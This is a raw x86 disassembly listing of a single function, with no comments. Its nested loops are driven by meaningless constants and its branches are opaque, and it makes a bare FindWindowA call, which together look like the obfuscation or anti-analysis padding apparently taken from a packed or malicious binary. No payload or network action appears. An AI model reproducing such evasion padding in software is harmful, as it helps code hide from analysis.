call fcn.100267ee
mov dword [eax], 0xcda2ae7b
jmp 0x100483d2
mov dword [ebp - 0x34], 0
jmp 0x10048405
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1004841b
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x668], 0x4055
jmp 0x100483fe
mov dword [ebp - 0x34], 0
jmp 0x1004842b
cmp dword [ebp - 0x34], 4
jge 0x10048441
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1570], 2
jmp 0x10048424
mov eax, dword [ebp - 0x538]
dec eax
mov dword [ebp - 0x538], eax
jne 0x10048525
mov dword [ebp - 0xe30], 0x6e98
mov dword [ebp - 0x1054], 0x1000bf68
cmp dword [ebp - 0xe30], 0x71b6
jle 0x10049c2d
and dword [ebp - 0x608], 0
jmp 0x10049b9a
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 0x3a7a
jge 0x10049c2d
and dword [ebp - 0x5f8], 0
jmp 0x10049bc0
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x6429
jge 0x10049c28
and dword [ebp - 0x600], 0
jmp 0x10049be2
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0x4b56
jge 0x10049c26
mov eax, dword [ebp - 0x5f8]
imul eax, dword [ebp - 0x600]
and eax, dword [ebp - 0x608]
cdq
mov dword [ebp - 0x1294], eax
mov dword [ebp - 0x1290], edx
push dword [ebp - 0x1290]
push dword [ebp - 0x1294]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x10049bd5
jmp 0x10049bb3
jmp 0x10049b8d
mov dword [ebp - 0x1044], 0x7013dce9
mov dword [ebp - 0x103c], 0x304b25b3
mov dword [ebp - 0x104c], 1
mov dword [ebp - 0x610], 0
jmp 0x10049c64
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 4
jge 0x10049c80
mov eax, dword [ebp - 0x610]
mov dword [ebp + eax*4 - 0x1a88], 0xff82
jmp 0x10049c57
mov dword [ebp - 0xe28], 0x58a6
mov dword [ebp - 0x1034], 0x1000bf90
cmp dword [ebp - 0xe28], 0x5a55
jle 0x10049d44
and dword [ebp - 0x618], 0
jmp 0x10049cba
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0x1e46
jge 0x10049d44
and dword [ebp - 0x620], 0
jmp 0x10049cdc
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0xda9
jge 0x10049d3f
mov eax, dword [ebp - 0x618]
and eax, dword [ebp - 0x620]
cdq
mov dword [ebp - 0x12a0], eax
mov dword [ebp - 0x129c], edx
push dword [ebp - 0x129c]
push dword [ebp - 0x12a0]
lea ecx, [ebp - 0x1ddc]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x102c], eax
mov ecx, dword [ebp - 0x102c]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1ddc]
call fcn.1002640c
jmp 0x10049ccf
jmp 0x10049cad
mov byte [ebp - 0x19b], 0
movzx eax, byte [ebp - 0x19b]
test eax, eax
je 0x10049d60
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0xe28], 0x57ad
jge 0x10049d78
push dword [ebp - 0x1034]
call fcn.10079103
pop ecx
mov eax, dword [ebp - 0x103c]
cmp dword [ebp - 0x1044], eax
jge 0x10049d92
mov dword [ebp - 0x6c8], 1
jmp 0x10049d99
and dword [ebp - 0x6c8], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x6c8]
mov dword [ebp + eax - 0x1a88], ecx
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0xe30], 0x6e75
jge 0x10049dd4
mov edx, dword [ebp - 0x1054]
mov ecx, 0x10094c18
call fcn.10029186
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret